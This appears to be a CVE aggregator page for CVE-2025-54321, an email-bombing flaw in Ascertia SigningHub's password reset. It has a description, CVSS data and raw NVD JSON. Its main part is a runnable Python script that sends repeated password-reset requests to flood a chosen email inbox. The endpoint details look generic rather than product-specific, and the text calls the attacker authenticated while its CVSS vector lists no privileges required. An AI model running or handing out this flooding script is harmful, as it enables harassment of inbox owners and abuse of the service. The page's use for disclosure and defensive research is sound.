Security Vulnerability Report
中文
CVE-2025-54321 CVSS 9.8 CRITICAL

CVE-2025-54321

Published: 2025-11-18 19:15:49
Last Modified: 2025-11-20 19:00:59

Description

In Ascertia SigningHub through 8.6.8, there is a lack of rate limiting on the reset password function, leading to an email bombing vulnerability. An authenticated attacker can exploit this by automating reset password requests.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ascertia:signinghub:*:*:*:*:*:*:*:* - VULNERABLE
Ascertia SigningHub <= 8.6.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-54321 PoC - Ascertia SigningHub Email Bombing via Password Reset This PoC demonstrates the lack of rate limiting on the password reset function. Note: This is for educational and authorized testing purposes only. """ import requests import time import sys # Target configuration TARGET_URL = "https://target-ascertia-signinghub.com" RESET_ENDPOINT = f"{TARGET_URL}/api/password/reset" # Target email for email bombing attack TARGET_EMAIL = "[email protected]" # Number of requests to send (for demonstration purposes) NUM_REQUESTS = 100 DELAY_BETWEEN_REQUESTS = 0.1 # seconds def send_password_reset_request(email): """Send a password reset request to the target system.""" try: payload = { "email": email, "_token": "" # May need valid CSRF token } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/json", "Accept": "application/json" } response = requests.post(RESET_ENDPOINT, json=payload, headers=headers, timeout=10) return response.status_code, response.text except requests.exceptions.RequestException as e: return None, str(e) def exploit_email_bombing(): """ Exploit function to demonstrate the email bombing vulnerability. This sends multiple password reset requests to flood the target's inbox. """ print(f"[*] Starting email bombing attack on {TARGET_EMAIL}") print(f"[*] Target endpoint: {RESET_ENDPOINT}") print(f"[*] Number of requests: {NUM_REQUESTS}") print("-" * 50) success_count = 0 for i in range(NUM_REQUESTS): status_code, response = send_password_reset_request(TARGET_EMAIL) if status_code and 200 <= status_code < 300: success_count += 1 print(f"[+] Request {i+1}/{NUM_REQUESTS}: Status {status_code} - Reset email sent") else: print(f"[-] Request {i+1}/{NUM_REQUESTS}: Failed - Status {status_code}") if i < NUM_REQUESTS - 1: time.sleep(DELAY_BETWEEN_REQUESTS) print("-" * 50) print(f"[*] Attack completed: {success_count}/{NUM_REQUESTS} successful requests") print(f"[*] Target email should have received {success_count} password reset emails") if __name__ == "__main__": print("CVE-2025-54321 - Ascertia SigningHub Email Bombing PoC") print("=" * 50) exploit_email_bombing()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-54321", "sourceIdentifier": "[email protected]", "published": "2025-11-18T19:15:49.043", "lastModified": "2025-11-20T19:00:58.973", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Ascertia SigningHub through 8.6.8, there is a lack of rate limiting on the reset password function, leading to an email bombing vulnerability. An authenticated attacker can exploit this by automating reset password requests."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-799"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ascertia:signinghub:*:*:*:*:*:*:*:*", "versionEndIncluding": "8.6.8", "matchCriteriaId": "04320C9C-96AC-4A4A-8EEA-27C59A9EDBE7"}]}]}], "references": [{"url": "https://github.com/saykino/CVE-2025-54321", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.ascertia.com/company/vulnerability-disclosure-policy/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}